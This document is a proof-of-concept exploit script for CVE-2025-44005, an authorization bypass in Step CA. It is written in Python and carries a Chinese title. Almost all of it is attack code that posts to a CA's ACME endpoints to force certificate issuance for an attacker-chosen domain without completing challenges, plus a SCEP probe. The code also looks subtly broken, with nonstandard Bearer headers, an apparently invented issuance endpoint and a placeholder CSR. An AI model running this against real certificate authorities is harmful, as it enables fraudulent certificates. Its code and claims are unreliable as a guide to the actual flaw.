CVE-2025-44005: Step CA ACME/SCEP授权绕过漏洞

# CVE-2025-44005 PoC - Step CA Authorization Bypass # This PoC demonstrates the authorization bypass in Step CA ACME/SCEP provisioner # Reference: https://github.com/smallstep/certificates/security/advisories/GHSA-h8cp-697h-8c8p import requests import json import time TARGET_HOST = "https://step-ca.example.com:8443" ATTACKER_CONTROLLED_DOMAIN = "attacker-controlled-domain.com" def exploit_acme_authorization_bypass(): """ Exploit Step CA ACME provisioner authorization bypass The vulnerability allows forcing certificate creation without completing protocol authorization checks """ print("[*] Starting CVE-2025-44005 Exploitation...") # Step 1: Create ACME account acme_endpoint = f"{TARGET_HOST}/acme/new-account" account_payload = { "termsOfServiceAgreed": True, "contact": ["mailto:[email protected]"] } try: response = requests.post(acme_endpoint, json=account_payload, timeout=10) if response.status_code in [200, 201]: account_data = response.json() account_url = response.headers.get('Location', account_data.get('url')) print(f"[+] Account created: {account_url}") else: print(f"[-] Account creation failed: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None # Step 2: Create authorization for target domain (BYPASS CHECK) # The vulnerability allows bypassing the authorization challenge verification order_payload = { "identifiers": [{"type": "dns", "value": ATTACKER_CONTROLLED_DOMAIN}] } try: order_response = requests.post( f"{TARGET_HOST}/acme/new-order", json=order_payload, headers={"Authorization": f"Bearer {account_url}"}, timeout=10 ) if order_response.status_code in [200, 201]: order_data = order_response.json() order_url = order_response.headers.get('Location', order_data.get('url')) print(f"[+] Order created (Authorization bypassed): {order_url}") print(f"[+] Authorizations: {order_data.get('authorizations')}") return order_url except requests.exceptions.RequestException as e: print(f"[-] Order creation failed: {e}") return None # Step 3: Force certificate issuance without challenge completion # This is where the authorization bypass occurs print("[*] Attempting to force certificate issuance without authorization...") csr_payload = { "csr": "BASE64_ENCODED_CSR_DATA", "url": order_url } try: cert_response = requests.post( f"{TARGET_HOST}/acme/signed-terms-of-service-and-apply-for-certificate", json=csr_payload, headers={"Authorization": f"Bearer {account_url}"}, timeout=10 ) if cert_response.status_code in [200, 201]: cert_data = cert_response.json() print(f"[+] SUCCESS: Certificate issued without proper authorization!") print(f"[+] Certificate: {cert_data.get('certificate', 'N/A')[:100]}...") return True else: print(f"[-] Certificate issuance failed: {cert_response.status_code}") print(f"[-] Response: {cert_response.text}") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False return False def exploit_scep_authorization_bypass(): """ Exploit Step CA SCEP provisioner authorization bypass Similar vulnerability exists in SCEP protocol implementation """ print("[*] Attempting SCEP provisioner exploitation...") scep_endpoint = f"{TARGET_HOST}/scep/dp" # SCEP GetCAInfo request with malicious parameters scep_payload = { "message": "SCEP Generic", "senderNonce": "MALICIOUS_NONCE", "recipientNonce": "" } try: response = requests.get(scep_endpoint, params=scep_payload, timeout=10) if response.status_code == 200: print(f"[+] SCEP endpoint accessible") print("[*] SCEP authorization bypass requires further protocol-specific exploitation") except requests.exceptions.RequestException as e: print(f"[-] SCEP request failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-44005: Step CA Authorization Bypass PoC") print("CVSS Score: 10.0 (Critical)") print("=" * 60) # Test ACME provisioner result = exploit_acme_authorization_bypass() # Test SCEP provisioner exploit_scep_authorization_bypass() print("\n[*] Exploitation complete. Check results above.")